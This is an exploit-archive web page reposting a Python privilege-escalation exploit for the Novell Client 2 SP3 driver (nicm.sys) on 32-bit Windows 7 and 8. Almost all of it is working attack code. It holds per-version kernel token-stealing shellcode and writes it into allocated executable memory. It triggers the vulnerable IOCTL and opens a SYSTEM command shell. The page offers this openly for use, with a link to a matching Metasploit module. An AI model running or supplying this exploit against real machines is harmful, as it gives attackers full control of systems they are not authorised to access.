首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Novell Client 2 SP3 Privilege Escalation Exploit
来源:vfocus.net 作者:sickness 发布时间:2013-07-30  
# Novell Client 2 SP3 Privilege escalation exploit
# Tested on Windows 7 and 8 (x86) / nicm.sys 3.1.11.0
# Thanks to Master Ryujin :)
  
# The first public information I have seen about this bug was from Nikita Tarakanov @NTarakanov (I am not sure weather there was anything else public)
# Exploit for DEMO purposes :)
# Does not bypass SMEP on Windows 8
# Metasploit module working against Windows 7: http://www.exploit-db.com/exploits/26452/
  
from ctypes import *
import sys,struct,os
from optparse import OptionParser
  
kernel32 = windll.kernel32
ntdll    = windll.ntdll
  
if __name__ == '__main__':
  
     usage =  "%prog -o <target>"
     parser = OptionParser(usage=usage)
     parser.add_option("-o", type="string",
                  action="store", dest="target_os",
                  help="Available target operating systems: WIN7, WIN8")
     (options, args) = parser.parse_args()
     OS = options.target_os
     if not OS or OS.upper() not in ['WIN7','WIN8']:
           parser.print_help()
           sys.exit()
     OS = OS.upper()
  
     if OS == "WIN7":
        _KPROCESS = "\x50" # Offset for Win7
        _TOKEN    = "\xf8" # Offset for Win7
        _UPID     = "\xb4" # Offset for Win7
        _APLINKS  = "\xb8" # Offset for Win7
          
        steal_token =  "\x52"                                 +\
                 "\x53"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x40" + _KPROCESS                 +\
                 "\x8b\xc8"                             +\
                 "\x8b\x98" + _TOKEN + "\x00\x00\x00"   +\
                 "\x89\x1d\x00\x09\x02\x00"             +\
                 "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
                 "\x75\xe8"                             +\
                 "\x8b\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x8b\xc1"                             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x5b"                                 +\
                 "\x5a"                                 +\
                 "\xc2\x08"
  
        sc = steal_token    
          
     else
        _KPROCESS = "\x80" # Offset for Win8
        _TOKEN    = "\xEC" # Offset for Win8
        _UPID     = "\xB4" # Offset for Win8
        _APLINKS  = "\xB8" # Offset for Win8
  
        steal_token =  "\x52"                                 +\
                 "\x53"                                 +\
                 "\x33\xc0"                             +\
                 "\x64\x8b\x80\x24\x01\x00\x00"         +\
                 "\x8b\x80" + _KPROCESS + "\x00\x00\x00"+\
                 "\x8b\xc8"                             +\
                 "\x8b\x98" + _TOKEN + "\x00\x00\x00"   +\
                 "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
                 "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
                 "\x75\xe8"                             +\
                 "\x8b\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x8b\xc1"                             +\
                 "\x89\x90" + _TOKEN + "\x00\x00\x00"   +\
                 "\x5b"                                 +\
                 "\x5a"                                 +\
                 "\xc2\x08"
  
        sc = steal_token
  
      
     kernel_sc = "\x14\x00\x0d\x0d"
     kernel_sc+= "\x41\x41\x41\x41"
     kernel_sc+= "\x41\x41\x41\x41"
     kernel_sc+= "\x41\x41\x41\x41"
     kernel_sc+= "\x41\x41\x41\x41"
     kernel_sc+= "\x18\x00\x0d\x0d"
     kernel_sc+= "\x41\x41\x41\x41"
     kernel_sc+= "\x41\x41\x41\x41"
     kernel_sc+= "\x41\x41\x41\x41"
     kernel_sc+= "\x28\x00\x0d\x0d"
     kernel_sc+= sc
      
      
     print "[>] Novell Client 2 SP3 privilege escalation for Windows 7 and Windows 8."
     print "[>] Finding the driver."
      
     GENERIC_READ = 0x80000000
     GENERIC_WRITE = 0x40000000
     OPEN_EXISTING = 0x3
     DEVICE = '\\\\.\\nicm'
      
     device_handler = kernel32.CreateFileA(DEVICE, GENERIC_READ|GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
     EVIL_IOCTL = 0x00143B6B # Vulnerable IOCTL
     retn = c_ulong()
      
     inut_buffer = 0x0d0d0000
     inut_size = 0x14
     output_buffer = 0x0
     output_size = 0x0
  
     baseadd    = c_int(0x0d0d0000)
          
     MEMRES     = (0x1000 | 0x2000)
     PAGEEXE    = 0x00000040
     Zero_Bits   = c_int(0)
     RegionSize = c_int(0x1000)
     write    = c_int(0)
  
     print "[>] Allocating memory for our shellcode."
     dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE)
     print "[>] Writing the shellcode."
     kernel32.WriteProcessMemory(-1, 0x0d0d0000, kernel_sc, 0x1000, byref(write))
  
     if device_handler:
        print "[>] Sending IOCTL to the driver."
        dev_io = kernel32.DeviceIoControl(device_handler, EVIL_IOCTL, inut_buffer, inut_size, output_buffer, output_size, byref(retn), None)
  
     print "[>] Dropping to a SYSTEM shell."
     os.system("cmd.exe /K cd C:\\windows\\system32")

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·TigerVNC Server Remote DoS Vul
·MS13-005 HWND_BROADCAST Low to
·ASUS RT-AC66U acsd Param - Rem
·PineApp Mail-SeCure livelog.ht
·Galil-RIO Modbus - Denial of S
·PineApp Mail-SeCure ldapsyncno
·MS12-020 RDP Buffer Overflow
·PineApp Mail-SeCure test_li_co
·Powershell Payload Web Deliver
·Adobe ColdFusion all versions
·Apache Struts 2 DefaultActionM
·EchoVNC Viewer Remote Denial O
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved